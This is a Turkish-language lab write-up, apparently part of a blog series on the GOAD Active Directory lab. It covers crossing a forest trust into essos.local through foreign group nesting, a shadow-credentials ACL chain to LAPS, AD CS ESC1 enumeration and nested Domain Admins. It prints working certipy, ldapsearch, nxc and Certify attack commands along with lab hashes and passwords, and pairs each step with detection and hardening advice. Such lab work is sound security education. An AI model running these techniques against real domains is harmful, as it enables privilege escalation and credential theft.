---
title: "GOAD Bölüm 4: Orman Güvenini Aşarak essos.local'i Ele Geçirmek"
description: "essos.local'e uzanan orman güveni SID filtering uyguluyor; bu yüzden sahte bir ExtraSids bileti sınırı Domain Admin olarak geçemiyor. Sınırı gerçekten aşan şey yabancı grup yuvalaması, üç adımlı bir ACL zinciri, LAPS ve ESC şablonlarıyla dolu bir AD CS CA'sı oluyor."
date: 2026-11-04
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/yazilar/owning-essos-forest-trust/
---

## Orman güveni neden bedava bir Domain Admin değildir

[Bölüm 3](/tr/yazilar/sevenkingdoms-acl-chain/)'ün sonunda `sevenkingdoms.local` orman kökünü ele geçirmiş ve `krbtgt` hash'ini almıştık. Çok ormanlı bir laboratuvarda insanın aklına hemen şu soru gelir: *`essos.local`'e sahte bir biletle giremez miyim?* Cevap hayır. Üstelik bu "hayır"ın nedenini anlamak, tek bir araç çalıştırmadan önce zihninde doğru modeli kurmanı sağlar; çünkü aynı yanlış varsayım gerçek bir denetimde saatler kaybettirebilir.

Active Directory iki tür güven arasında kesin bir çizgi çeker. **Ebeveyn–alt (parent–child) güveni** *tek bir ormanın içinde* yaşar; burada tüm etki alanları zaten tek bir `Schema` ve `Configuration` bölümünü paylaşır. **Orman güveni (forest trust)** ise birbirinden tamamen bağımsız iki ormanı birleştirir. İki taraftaki `trustAttributes` değerini okumak, aradaki farkı tek bakışta görünür kılar:

```bash
$ ldapsearch -x -H ldap://192.168.56.10 -D "tywin.lannister@sevenkingdoms.local" -w "powerkingftw135" \
    -b "CN=System,DC=sevenkingdoms,DC=local" "(objectClass=trustedDomain)" \
    cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: north.sevenkingdoms.local
flatName: NORTH
trustAttributes: 32            # WITHIN_FOREST — SID filtering OFF
cn: essos.local
flatName: ESSOS
trustAttributes: 72            # TREAT_AS_EXTERNAL | FOREST_TRANSITIVE — SID filtering ON

$ ldapsearch -x -H ldap://192.168.56.12 -D "missandei@essos.local" -w "fr3edom" \
    -b "CN=System,DC=essos,DC=local" "(objectClass=trustedDomain)" \
    cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: sevenkingdoms.local
flatName: SEVENKINGDOMS
trustAttributes: 8             # FOREST_TRANSITIVE — SID filtering ON
```

`trustAttributes`, [Multi-Forest Active Directory Architecture](/tr/yazilar/multi-forest-active-directory-architecture/) yazısında ayrıntılı olarak açtığım `[MS-ADTS] §6.1.6.7.9` bitmask'idir. Çıktıdaki değerler ondalık yazılmıştır; bu yüzden `72` gibi bir sayı gördüğünde bunu `64 + 8`, yani `TREAT_AS_EXTERNAL` ile `FOREST_TRANSITIVE` bayraklarının birleşimi olarak okumalısın. Burada bakman gereken asıl fark `32` (`0x20 = WITHIN_FOREST`) ile `8`/`72` (`FOREST_TRANSITIVE`, isteğe bağlı olarak `TREAT_AS_EXTERNAL` ile) arasındadır:

- **`WITHIN_FOREST (32)`** *ebeveyn–alt ilişki, SID filtering kapalı* anlamına gelir. Bu yüzden `north` içinde üretilen bir Golden Ticket, `ExtraSids` alanında ana etki alanının `Enterprise Admins` SID'ini taşıyıp `sevenkingdoms.local`'a girebiliyordu. Bu, orman içi yükseltme numarasıdır; ormanlar *arasında* geçerli **değildir**. Sebep basittir: alt etki alanı bir yönetim birimidir, güvenlik sınırı değildir.
- **`FOREST_TRANSITIVE (8/72)`** **SID filtering**'i (Quarantine) devreye alır. Bir bilet orman güveni üzerinden `essos.local`'e geçerken, `essos` KDC'si biletin `ExtraSids` / PAC alanındaki, çağıranın kendi SID'i olmayan veya güvenen ormanın meşru bir üyesine ait olmayan her SID'i ayıklar. Yani `sevenkingdoms.local`'da `krbtgt` ile üretilmiş ve `S-1-5-21-...-519` (`Enterprise Admins`) taşıyan bir bilet, `essos.local`'e o SID silinmiş hâlde varır. Elinde hâlâ geçerli bir bilet vardır, ama artık ayrıcalıklı değildir.

<figure class="evidence evidence--compact"><a href="/images/posts/goad-evidence/bloodhound-goad-attack-graph.webp" target="_blank" rel="noopener" aria-label="BloodHound ormanlar arası saldırı çizgesini tam boyutta aç"><img src="/images/posts/goad-evidence/bloodhound-goad-attack-graph.webp" alt="Ormanlar arası güven ilişkisini, Spys grubuna FSP eşlemesini ve BRAAVOS ile MEEREEN sunucularına uzanan saldırı yolunu gösteren BloodHound çizgesi" loading="lazy" /></a><figcaption><span>BloodHound saldırı çizgesi</span> Ormanlar arası köprünün BloodHound üzerindeki görsel temsili. SID filtering sahte biletleri geçersiz kılarken, <code>Small Council</code> grubunun <code>Spys</code> içindeki ForeignSecurityPrincipal üyeliği sınırlar arasında meşru ve kimliği doğrulanmış bir yetkilendirme kanalı açar.</figcaption></figure>

### Protokol ve matematiksel kablo mekaniği: trustAttributes: 72 bitmask ayrıştırması

`trustAttributes` alanındaki sayısal değerler `[MS-ADTS] §6.1.6.7.9` (Trusted Domain Object) standardında tanımlanmıştır:

| Bayrak Sabiti | Onaltılık Değer | Ondalık Değer | Anlamı ve Ağ Davranışı |
| :--- | :--- | :--- | :--- |
| `TRUST_ATTRIBUTE_NON_TRANSITIVE` | `0x00000001` | 1 | Güven ilişkisi hedef etki alanının ötesine geçişken değildir. |
| `TRUST_ATTRIBUTE_UPLEVEL_ONLY` | `0x00000002` | 2 | Etki alanı Windows 2000 ve daha yeni Kerberos uzantılarını destekler. |
| `TRUST_ATTRIBUTE_QUARANTINED_DOMAIN` | `0x00000004` | 4 | Bir dış güvende (external trust) SID Filtering açıkça etkinleştirilmiştir. |
| `TRUST_ATTRIBUTE_FOREST_TRANSITIVE` | `0x00000008` | 8 | Ormanlar arası güven; SID Filtering varsayılan olarak zorunludur. |
| `TRUST_ATTRIBUTE_WITHIN_FOREST` | `0x00000020` | 32 | Orman içi ağaç/alt etki alanı güveni; SID Filtering devre dışıdır. |
| `TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL` | `0x00000040` | 64 | Delegasyon ve PAC kuralları için güven dış sınır olarak değerlendirilir. |

`sevenkingdoms.local → essos.local` yönündeki matematiksel bit düzeyinde VEYA (bitwise OR) bağıntısı:

$$\text{trustAttributes} = \text{FOREST\_TRANSITIVE} \mid \text{TREAT\_AS\_EXTERNAL} = 8 \mid 64 = 72 \quad (0\text{x}08 \mid 0\text{x}40 = 0\text{x}48)$$

Bir Kerberos yönlendirme (referral) bileti `essos.local` sınırını geçtiğinde KDC, `KrbFilterSids()` yordamını (`[MS-PAC] §4.1.2.2`) çalıştırır. `FOREST_TRANSITIVE (8/72)` altında, biletin `ExtraSids` alanında yer alan ve RID'i 1000'in altında olan (örneğin `512` Domain Admins veya `519` Enterprise Admins) ya da etki alanı SID'i güvenilen ormanla eşleşmeyen tüm harici SID'ler yetki verisinden ayıklanır. Buna karşılık `WITHIN_FOREST (32)` altında `KrbFilterSids()` aynı ormanın üye etki alanları için baypas edilir; bu da alt etki alanından ebeveyne bilet yükseltmeyi mümkün kılar.

Windows PowerShell üzerinde güven yapılandırması şu komutla incelenebilir:

```powershell
Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, TrustAttributes
```

**Tespit:** `trustAttributes` değerini yukarıdaki gibi `ldapsearch` ile veya `nxc ldap <dc> -u <user> -p <pass> --trusted-for-delegation` ile kimlik doğrulamış her kullanıcı okuyabilir. Burada alarm verilecek bir şey yoktur; bu, dizinin statik metadata'sıdır ve tek başına bir ihlal göstermez.

**Kontrol:** SID filtering, dış ve orman güvenleri için *varsayılan olarak açıktır* ve öyle kalmalıdır. Avlanman gereken yanlış yapılandırma, SID filtering'i açıkça kapatılmış (`netdom trust ... /quarantine:no`) bir orman güveni ya da yanlışlıkla orman güveni olarak oluşturulmuş bir dış güvendir. Güveni bir güvenlik duvarı kuralı gibi düşün: ormanlar arası `NETLOGON`/RPC (`135/445`) erişilebilirliği asıl saldırı yüzeyidir. Bu portlar açıkken güven "yalnızca kimlik doğrulama" için değil, aynı zamanda keşif ve yanal hareket için de bir kapı hâline gelir. Bu yüzden güven envanterini yalnızca "hangi ormanlar bağlı" diye değil, "hangi yönde, hangi protokollerle ve hangi SID filtering ayarıyla bağlı" diye tutmak gerekir.

## Sınırı gerçekten geçen şey: yabancı grup yuvalama

SID filtering sahte bir *bileti* durdurur, ama meşru bir ormanlar arası *yetkiyi* durdurmaz. `missandei` olarak `essos.local`'in gruplarını numaralandırdığımda bir kayıt hemen dikkatimi çekti: `Spys` grubunun üyesi bir `essos` hesabı değil, bir **foreign security principal** nesnesiydi:

```bash
$ ldapsearch -x -H ldap://192.168.56.12 -D "missandei@essos.local" -w "fr3edom" \
    -b "DC=essos,DC=local" "(&(objectClass=group)(sAMAccountName=Spys))" member
member: CN=S-1-5-21-3291916993-3717649449-3745629854-1108,CN=ForeignSecurityPrincipals,DC=essos,DC=local
```

Bu SID `sevenkingdoms.local`'a aittir ve RID `-1108` **`Small Council`** grubunu gösterir; yani [Bölüm 3](/tr/yazilar/sevenkingdoms-acl-chain/)'te `tyron.lannister`'ı eklediğimiz grubun ta kendisini. Demek ki iki orman yalnızca bir güvenle değil, aynı zamanda **ormanlar arası grup yuvalamasıyla** da birbirine bağlıdır: `Small Council (sevenkingdoms)`, `Spys (essos)` grubunun üyesidir ve bu üyelik `CN=ForeignSecurityPrincipals` altında bir `ForeignSecurityPrincipal` nesnesi olarak saklanır. Bu nesne, hedef ormanda yerel bir temsilci gibi davranır; asıl kimlik ise kaynak ormanda kalır.

Sonuç somuttur. `Spys` grubu, `jorah.mormont` üzerinde `GenericAll` tutar:

```bash
$ impacket-dacledit -action read -target jorah.mormont "essos.local/missandei:fr3edom" -dc-ip 192.168.56.12
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : Spys (S-1-5-21-2405585222-1741672622-953379088-1112)
```

"Bir orman güvenini nasıl geçersin?" sorusunun gerçek cevabı budur. Ayrıcalıklı bir SID'i bilete enjekte etmeye çalışmazsın; SID filtering bunu zaten bozar. Bunun yerine, kendi ormanındaki bir principal'ın hedef ormanda gerçek bir ACE tutmasını sağlayan *meşru* bir ormanlar arası grup üyeliği kullanırsın. `tyron.lannister` (`Small Council` içindeki bir `sevenkingdoms` kullanıcısı) `essos.local`'e kimlik doğruladığında kendi SID'i onunla birlikte gider ve `essos` DC'si bu SID'i `Spys` grubunun giden haklarına göre değerlendirir. Burada filtrelenecek bir şey yoktur, çünkü ortada enjekte edilmiş bir `ExtraSids` değeri değil, kullanıcının gerçek SID'i vardır. Fark küçük görünür ama sonucu büyüktür: savunma tarafı bilet sahteciliğini engellerken, yanlış kurgulanmış bir grup üyeliği kapıyı açık bırakır.

### BloodHound Cypher: Ormanlar arası grup yuvalamalarını haritalamak

BloodHound üzerinde güven sınırlarını aşan tüm ForeignSecurityPrincipal bağlantılarını keşfetmek için:

```cypher
MATCH (g1:Group)-[:MemberOf]->(g2:Group)
WHERE g1.domain <> g2.domain
RETURN g1.name AS ForeignGroup, g1.domain AS SourceDomain, g2.name AS LocalGroup, g2.domain AS TargetDomain
```

**Tespit:** Ormanlar arası grup üyelikleri `CN=ForeignSecurityPrincipals,DC=<domain>,DC=<tld>` altında birikir. Bunları `ldapsearch ... "(objectClass=foreignSecurityPrincipal)"` ile listele ve her FSP'yi güvenen etki alanına geri eşleştir. Böylece yerel hak verilmiş düşük ayrıcalıklı bir grubun (`Small Council` gibi) olup olmadığını görürsün. `essos` tarafındaki herhangi bir gruba yabancı üye eklendiğinde `5136`/`4732` olaylarını izle; özellikle ayrıcalıklı bir gruba yapılan yabancı ekleme yüksek öncelikli bir sinyaldir.

**Kontrol:** `ForeignSecurityPrincipals` kabını Tier-0 yapılandırması gibi ele al. Yalnızca *ayrılmış* ormanlar arası yönetici gruplarını yuvala; geniş kullanıcı gruplarını asla. Yabancı bir principal'a verilen her ACE'i de düzenli olarak denetle. SID filtering seni bilet sahteciliğinden korur, ama yanlış grubu yuvalamış bir yöneticiden seni hiçbir şey korumaz.

### Essos domain temel yapılandırması ve savunma duruşu

Resmi GOAD dokümantasyonu `essos.local` ormanına iki Windows Server 2016 sunucusu tahsis eder:

| Sunucu | IP | Rol | İşletim Sistemi | Windows Defender | Ana Yüzey ve Vektörler |
| :--- | :--- | :--- | :--- | :--- | :--- |
| `DC03` (meereen) | `192.168.56.12` | Orman Kökü DC, KDC, DNS, Enterprise CA | Windows Server 2016 | **Etkin (Enabled)** | Ormanlar arası güven uç noktası, AS-REP roasting (`missandei`), AD CS ESC1-ESC8 |
| `SRV03` (braavos) | `192.168.56.23` | Üye Sunucu, MSSQL, LAPS, gMSA | Windows Server 2016 | **Etkin (Enabled)** | LAPS (`ms-Mcs-AdmPwd`), `CASTELBLACK`'ten gelen MSSQL linked server hedefi |

> [!NOTE]
> GOAD tasarımında hem `DC03` hem de `SRV03` Windows Defender **Etkin** durumda çalışır. LDAP üzerinden LAPS parolalarını okumak, Kerberos ormanlar arası biletleri istemek ve AD CS şablonlarını sorgulamak onaylı yönetim protokolleri üzerinden gerçekleştiğinden doğrudan antivirüs uyarısı üretmez. Tespit bütünüyle Güvenlik Olay Günlüklerine ve dizin denetimine dayanır.

## missandei dayanağından BRAAVOS'ta LAPS'a

Ormanlar arası yuvalama hikâyenin en ilginç kısmıdır; ancak güvenilir ele geçirme yolu yine `essos.local`'in *içinden* geçer. Başlangıç noktamız, [Bölüm 1](/tr/yazilar/opening-an-active-directory-assessment/)'de AS-REP Roasting ile kırdığımız `missandei : fr3edom` hesabıdır. BloodHound'un ACL koleksiyonu zinciri net biçimde çizer:

```bash
MISSANDEI@ESSOS.LOCAL       --[GenericAll  ]-->  KHAL.DROGO@ESSOS.LOCAL
KHAL.DROGO@ESSOS.LOCAL      --[GenericAll  ]-->  VISERYS.TARGARYEN@ESSOS.LOCAL
VISERYS.TARGARYEN@ESSOS.LOCAL --[GenericWrite]-->  JORAH.MORMONT@ESSOS.LOCAL
JORAH.MORMONT@ESSOS.LOCAL   --[ReadLAPSPassword]--> BRAAVOS.ESSOS.LOCAL
```

<figure class="diagram">
<svg viewBox="0 0 760 250" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="İki satır. Üst satır: sevenkingdoms.local'dan essos.local'a SID filtering açık ormanlar arası güven; Small Council → Spys yabancı grup yuvalamasını taşır. Alt satır: missandei'den khal.drogo, viserys ve jorah üzerinden BRAAVOS'a soldan sağa zincir; GenericAll ve GenericWrite shadow credentials ile ardından ReadLAPSPassword hakkı kullanılır.">
<defs><marker id="e4-c" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">ORMANLAR ARASI GÜVEN · ESSOS.LOCAL'DEN BRAAVOS'A YOL</text>
<rect x="16" y="40" width="200" height="54" rx="8" class="dg-box-accent" />
<text x="30" y="62" class="dg-label">sevenkingdoms.local</text>
<text x="30" y="81" class="dg-mono dg-compact">Bölüm 3'te ele geçirildi</text>
<line x1="216" y1="67" x2="540" y2="67" class="dg-line-crit" marker-end="url(#e4-c)" />
<text x="378" y="59" text-anchor="middle" class="dg-crit dg-compact">orman güveni · SID FILTER AÇIK</text>
<text x="378" y="89" text-anchor="middle" class="dg-muted dg-compact">Small Council → Spys (FSP)</text>
<rect x="544" y="40" width="200" height="54" rx="8" class="dg-box" />
<text x="558" y="62" class="dg-label">essos.local</text>
<text x="558" y="81" class="dg-mono dg-compact">Spys ← Small Council</text>
<rect x="16" y="130" width="130" height="66" rx="8" class="dg-box" />
<text x="30" y="152" class="dg-label">missandei</text>
<text x="30" y="170" class="dg-mono dg-compact">GenericAll →</text>
<text x="30" y="184" class="dg-muted dg-compact">AS-REP (Bölüm 1)</text>
<line x1="146" y1="163" x2="168" y2="163" class="dg-line-crit" marker-end="url(#e4-c)" />
<rect x="168" y="130" width="130" height="66" rx="8" class="dg-box" />
<text x="182" y="152" class="dg-label">khal.drogo</text>
<text x="182" y="170" class="dg-mono dg-compact">GenericAll →</text>
<text x="182" y="184" class="dg-muted dg-compact">shadow credentials</text>
<line x1="298" y1="163" x2="320" y2="163" class="dg-line-crit" marker-end="url(#e4-c)" />
<rect x="320" y="130" width="130" height="66" rx="8" class="dg-box" />
<text x="334" y="152" class="dg-label">viserys</text>
<text x="334" y="170" class="dg-mono dg-compact">GenericWrite →</text>
<text x="334" y="184" class="dg-muted dg-compact">shadow credentials</text>
<line x1="450" y1="163" x2="472" y2="163" class="dg-line-crit" marker-end="url(#e4-c)" />
<rect x="472" y="130" width="130" height="66" rx="8" class="dg-box" />
<text x="486" y="152" class="dg-label">jorah</text>
<text x="486" y="170" class="dg-mono dg-compact">ReadLAPS →</text>
<text x="486" y="184" class="dg-muted dg-compact">ms-Mcs-AdmPwd</text>
<line x1="602" y1="163" x2="624" y2="163" class="dg-line-crit" marker-end="url(#e4-c)" />
<rect x="624" y="130" width="120" height="66" rx="8" class="dg-box-danger" />
<text x="638" y="152" class="dg-label">BRAAVOS</text>
<text x="638" y="170" class="dg-crit">yerel admin</text>
<text x="638" y="184" class="dg-danger">ESSOS-CA</text>
<text x="16" y="228" class="dg-muted">shadow credentials → NT hash → LAPS → BRAAVOS'ta yerel admin</text>
</svg>
<figcaption><code>essos.local</code> yolu: yabancı grup yuvalaması (<code>Small Council</code> → <code>Spys</code>) güveni meşru yoldan geçer; güvenilir yükseltme zinciri ise ormanın içinde ilerler. <code>missandei</code>, üç <code>GenericAll</code>/<code>GenericWrite</code> adımıyla <code>jorah.mormont</code>'a ulaşır ve onun <code>ReadLAPSPassword</code> hakkı <code>BRAAVOS</code> yerel yöneticisinin kilidini açar.</figcaption>
</figure>

Her adım, Bölüm 3'te kullandığımız primitifin aynısıdır; yine de kenar başına ne kadar az şey değiştirmen gerektiğine dikkat et. `missandei`'nin `khal.drogo` üzerinde `GenericAll` hakkı vardır. `certipy shadow auto` hedefe bir key credential yazar, PKINIT üzerinden kimlik doğrular, NT hash'ini alır ve sonra hesabı eski hâline getirir; yani parolayı hiç değiştirmeden aynı kapıdan çıkar:

```bash
$ certipy-ad shadow auto -u missandei@essos.local -p fr3edom -account khal.drogo -dc-ip 192.168.56.12
[*] Successfully added Key Credential ... to the Key Credentials for 'khal.drogo'
[*] Got TGT
[*] Successfully restored the old Key Credentials for 'khal.drogo'
[*] NT hash for 'khal.drogo': 739120ebc4dd940310bc4bb5c9d37021
```

İki özdeş adım daha atarız: `khal.drogo → viserys.targaryen` (`GenericAll`) ve `viserys.targaryen → jorah.mormont` (`GenericWrite`). Sonunda hiçbir parola öğrenmeden `jorah.mormont`'un hash'ini elimizde tutarız. Bu, zincirin en sessiz kısmıdır; çünkü hiçbir hesabın parolası değişmez ve kullanıcılar çalışmaya devam eder:

```bash
[*] NT hash for 'viserys.targaryen': d96a55df6bef5e0b4d6d956088036097
[*] NT hash for 'jorah.mormont':    4d737ec9ecf0b9955a161773cfed9611
```

`jorah.mormont` için ödül başka bir kullanıcı hesabı değil, **LAPS**'tır. `BRAAVOS$` bilgisayar nesnesi üzerindeki `ms-Mcs-AdmPwd` özniteliğinde (GUID `dfe058bd-b18e-4c1b-8ce8-ce4b7933781e`) sahip olduğu `ReadProperty` hakkı, yönetilen yerel yönetici parolasını doğrudan LDAP'tan çekmesini sağlar. Yani makinenin üzerine hiç dokunmadan, yalnızca dizin okumasıyla yerel yönetici oluruz:

```bash
$ ldapsearch -x -H ldap://192.168.56.12 -D "jorah.mormont@essos.local" -w "H0nnor!" \
    -b "DC=essos,DC=local" "(ms-Mcs-AdmPwd=*)" sAMAccountName ms-Mcs-AdmPwd
sAMAccountName: BRAAVOS$
ms-Mcs-AdmPwd: E(D8oS]3zX79Px

$ nxc smb 192.168.56.23 -u Administrator -p "E(D8oS]3zX79Px" --local-auth
SMB  192.168.56.23  445  BRAAVOS  [+] BRAAVOS\Administrator:E(D8oS]3zX79Px (Pwn3d!)
```

### BloodHound Cypher: LAPS parolası okuma haklarını sorgulamak

`essos.local` içindeki bilgisayarlar üzerinde düz metin LAPS yönetici parolasını okuma yetkisine sahip principal'ları listelemek için:

```cypher
MATCH (u:User)-[r:ReadLAPSPassword]->(c:Computer)
RETURN u.name AS Reader, c.name AS TargetComputer
```

### Windows ve PowerShell araç eşdeğerleri (LAPS özniteliği çekme)

Etki alanı erişimi olan bir Windows sisteminden LAPS parolası ActiveDirectory modülü veya AdmPwd PowerShell modülü ile okunabilir:

```powershell
# ActiveDirectory PowerShell modulu (ms-Mcs-AdmPwd ozelligini okuma)
Get-ADComputer braavos -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

# AdmPwd.PS PowerShell modulu
Get-AdmPwdPassword -ComputerName braavos
```

`BRAAVOS` (`192.168.56.23`), aynı zamanda `ESSOS-CA`'yı barındıran üye sunucudur. Buradaki yerel yöneticilik, ikinci ormanda bir Tier-0 dayanak noktası demektir; çünkü CA barındıran bir sunucu, üzerinde çalıştığı katman ne olursa olsun Tier-0 varlığı sayılır.

**Tespit:** Shadow credentials adımları Bölüm 3 ile aynıdır; her hesap için `msDS-KeyCredentialLink` üzerinde Event ID `5136` görünür. LAPS okuması daha sessizdir: gizli bir özniteliğin LDAP okumasıdır ve DC'de (kaydedilirse) Event ID `4662` olarak loglanır. En keskin sinyal, düşük ayrıcalıklı tek bir hesabın (`jorah.mormont`) dokunmak için operasyonel bir nedeni olmayan bir makinenin `ms-Mcs-AdmPwd` değerini aniden okumasıdır.

**Kontrol:** Sıradan kullanıcılar arasındaki `GenericAll`/`GenericWrite` ACE'lerini (`missandei → khal.drogo`, `khal.drogo → viserys`, `viserys → jorah`) Bölüm 3'te yaptığımız gibi buda. LAPS tarafında `ReadLAPSPassword` (`ms-Mcs-AdmPwd`) verilmiş *her* hesabı denetle ve listeyi gerçekten ihtiyacı olan yardım masası araçlarıyla sınırlı tut. `jorah.mormont`'un `BRAAVOS`'un LAPS parolasını okumak için hiçbir işi yoktur. İsteğe bağlı olarak, düz metin `ms-Mcs-AdmPwd` yerine hedef makinenin TPM/DPAPI'sine bağlı şifrelemeli **Windows LAPS**'a geç; böylece dizin sızsa bile parola tek başına kullanılamaz.

## AD CS katmanı: ESSOS-CA ve ESC şablonları

`essos.local`, kendi Enterprise CA'sı `ESSOS-CA`'yı Domain Controller üzerinde değil, `BRAAVOS` (`.23`) üzerinde çalıştırır. CA'yı DC üzerinde barındırmak yaygın ama tehlikeli bir yerleşimdir; bu laboratuvar ise CA'yı DC'ye koymak yerine daha az korunan bir üye sunucuya taşır ve Tier-0 varlığını o kutuya bağlar. `missandei` olarak `certipy find`, savunmasız yüzeyi tek seferde numaralandırır:

```bash
$ certipy-ad find -u missandei@essos.local -p fr3edom -dc-ip 192.168.56.12 -vulnerable -stdout
Certificate Authorities
  0
    CA Name           : ESSOS-CA
    DNS Name          : braavos.essos.local
    User Specified SAN: Enabled        # ESC6
    [!] ESC8          : Web Enrollment is enabled over HTTP.
    [!] ESC11         : Encryption is not enforced for ICPR (RPC) requests.

Certificate Templates
  Template Name: ESC1    -> ESC1: Enrollee supplies subject + client authentication
  Template Name: ESC2    -> ESC2: any-purpose EKU
  Template Name: ESC3-CRA -> ESC3: Certificate Request Agent EKU
  Template Name: ESC9    -> ESC9: no security extension
  Template Name: WebServer -> ESC15 (schema v1) / ESC17 (server auth)
```

Başrol **ESC1**'dedir: `ESC1` şablonu `Domain Users` tarafından kaydedilebilir, kaydolan kişinin subject'i belirlemesine izin verir ve client authentication'a müsaade eder. Bu üç koşul bir araya geldiğinde `missandei` gibi sıradan bir etki alanı kullanıcısı, `UPN=daenerys.targaryen@essos.local` içeren bir sertifika talep edebilir; sertifikayı PKINIT üzerinden sunarak `daenerys.targaryen`'in TGT'sini alabilir. `daenerys.targaryen` ise **Domain Admins** grubunun doğrudan üyesidir. Yani tek bir yanlış şablon ayarı, ikinci ormanın en üstüne giden kapıyı aralar:

```bash
$ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn daenerys.targaryen@essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered
```

Bu laboratuvar örneğinde `ESSOS-CA` enrollment uç noktaları hizmet vermiyor. `ICertRequest` RPC arayüzü (`91AE6020-9E3C-11CF-8D7C-00AA00C091BE`) `ept_s_not_registered` döndürüyor; `/certsrv/` web enrollment `80/tcp` üzerinde yanıt veriyor ama çalışan bir CEP/CES uç noktası sunmuyor. *Yapılandırma* savunmasız: şablonlar ve `User Specified SAN` bayrağı gerçekten var ve numaralandırılabiliyor. Buna karşılık *servis* tarafı kapalı. Başarısız isteği bilerek bıraktım, çünkü bu tam olarak GOAD belgeleriyle belirli bir çalışan örnek arasında ortaya çıkan farktır. "ESC1 bize Domain Admin verir" diye yazmadan önce CA'nın gerçekten erişilebilir olduğunu doğrulamak iyi bir alışkanlıktır; aksi hâlde raporda olmayan bir istismarı anlatmış olursun. Kısacası keşif çıktısı bir potansiyel listesidir; kanıt ise ancak istek gerçekten yanıt verdiğinde oluşur. Bu ayrımı korumak, teknik yazının güvenilirliğini ayakta tutan en temel disiplindir.

CA canlı olduğunda tamamlama, standart sertifikadan etki alanı yöneticiliğine giden akıştır: `certipy req -upn daenerys.targaryen@essos.local` → `certipy auth -pfx daenerys.pfx` → bir `daenerys.targaryen` TGT'si → `meereen.essos.local`'a karşı `secretsdump` ile DCSync. `daenerys.targaryen` `Domain Admins` içinde oturduğu için tek bir sertifika, ikinci ormanın tamamına eşdeğerdir.

### BloodHound Cypher: Savunmasız ESC1 sertifika şablonlarını bulmak

Düşük yetkili kayda izin veren, enrollee-supplied SAN ve istemci kimlik doğrulaması içeren şablonları sorgulamak için:

```cypher
MATCH (u:User)-[:Enroll]->(t:CertificateTemplate)
WHERE t.enrolleesuppliessubject = true AND t.authenticationenabled = true
RETURN u.name AS Principal, t.name AS TemplateName
```

### Windows ve C# araç eşdeğerleri (Certify)

Bir Windows sisteminde ESC1 sertifika talebi ve kimliğe bürünme işlemi Certify ile yürütülür:

```powershell
# Certify ile daenerys.targaryen adina sertifika talebinde bulunma
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1 /altname:daenerys.targaryen
```

**Tespit:** `certipy find`'in kendisi bir LDAP okuma patlaması ve CA registry'sine (`RRP`) bir RPC bağlantısı tetikler; bunu yönetici olmayan bir iş istasyonundan gelen anomali olarak logla. ESC1 istismarı ise CA üzerinde Event ID `4886`/`4887` (sertifika istendi/verildi) olarak görünür; PKINIT ise pre-auth type `16` ile `4768` üretir.

**Kontrol:** AD CS, bu laboratuvardaki en yüksek getirili sıkılaştırma hedefidir. `Domain Users` tarafından kaydedilebilen her şablondan `EnrolleeSuppliesSubject` ayarını kaldır (veya yönetici onayı zorunlu kıl), CA üzerinde `User Specified SAN` özelliğini kapat, HTTP web enrollment'ı (`ESC8`) devre dışı bırak ve ICPR isteklerinde şifrelemeyi zorunlu kıl (`ESC11`). Her şeyden önce Enterprise CA sunucusunu (`BRAAVOS`), hangi makinede çalışırsa çalışsın **Tier 0** olarak ele al.

## Domain Admin kısayolu: yuvalanmış bir ejderha

Kayda değer bir yapısal bulgu daha var; çünkü Domain Admin'in yalnızca ACL zincirlerinden gelmediğini hatırlatıyor. `essos.local` içindeki `Domain Admins` grubu `QueenProtector` grubunu, o da `Dragons` grubunu, o da `drogon` hesabını içerir:

```bash
Domain Admins  ->  QueenProtector  ->  Dragons  ->  drogon
```

Bu, sıradan kullanıcı `drogon`'un üç seviyeli iç içe grup üyeliği sayesinde *etkin biçimde* Domain Admin olduğu anlamına gelir; hiçbir ACL istismarı gerekmez. `drogon`'u kontrol eden herkes ön kapıdan `Domain Admins` içine yürür: örneğin `gmsaDragon$` yönetilen parolasını okuyup giden haklarını kullanarak ya da `drogon`'un parolası zayıf ve kırılabilir olduğu için. İç içe gruplar, "benim ayrıcalıklı bir hesabım yok" cümlesinin yanlış çıktığı yerdir. Yöneticiler genellikle doğrudan üyeliklere bakar; oysa etki, zincirin en altındaki sıradan hesaptan en üste kadar uzanır.

**Tespit / Kontrol:** Yalnızca doğrudan üyelikleri değil, etkin grup üyeliğini de numaralandır. `BloodHound`'un `AdminTo`/`MemberOf` sorguları ve `nxc ldap --get-network` bu iş için doğru araçlardır. Ayrıcalıklı grupları düzleştir ki `Domain Admins` hiçbir zaman bir kullanıcı grubu zinciri içermesin; yuvalamanın herhangi bir noktasında oturan hesaplar için de parola kalitesine bir alt sınır koy.

## Ormanlar arası ve domain içi savunma telemetrisi

Ormanlar arası sınırları güvenceye almak; güven geçişlerini, dizin öznitelik okumalarını ve sertifika taleplerini gözlemlemeyi gerektirir:

| Saldırı Vektörü | Windows Event ID | Olay Açıklaması | Telemetri Ayrıntıları ve Göstergeler |
| :--- | :--- | :--- | :--- |
| Ormanlar Arası TGS Talebi | `4769` | Kerberos Servis Bileti Talebi | `ServiceName: krbtgt/essos.local`, ormanlar arası yönlendirme bilet opsiyonları |
| FSP Güvenlik Grubu Değişikliği | `4728` / `4732` | Güvenlik Grubuna Üye Eklendi | Yabancı Güvenlik Principal'ı SID'i (`CN=S-1-5-21-...`) ile üyelik eklenmesi |
| Shadow Credentials Anahtar Yazımı | `5136` | Dizin Servisi Nesnesi Değiştirildi | `khal.drogo` / `viserys` üzerinde `msDS-KeyCredentialLink` özniteliği yazımı |
| LAPS Parolası Okuma | `4662` | Nesne Üzerinde İşlem Gerçekleştirildi | `ms-Mcs-AdmPwd` özniteliğini hedefleyen `0x10` (Read Property) erişim maskesi |
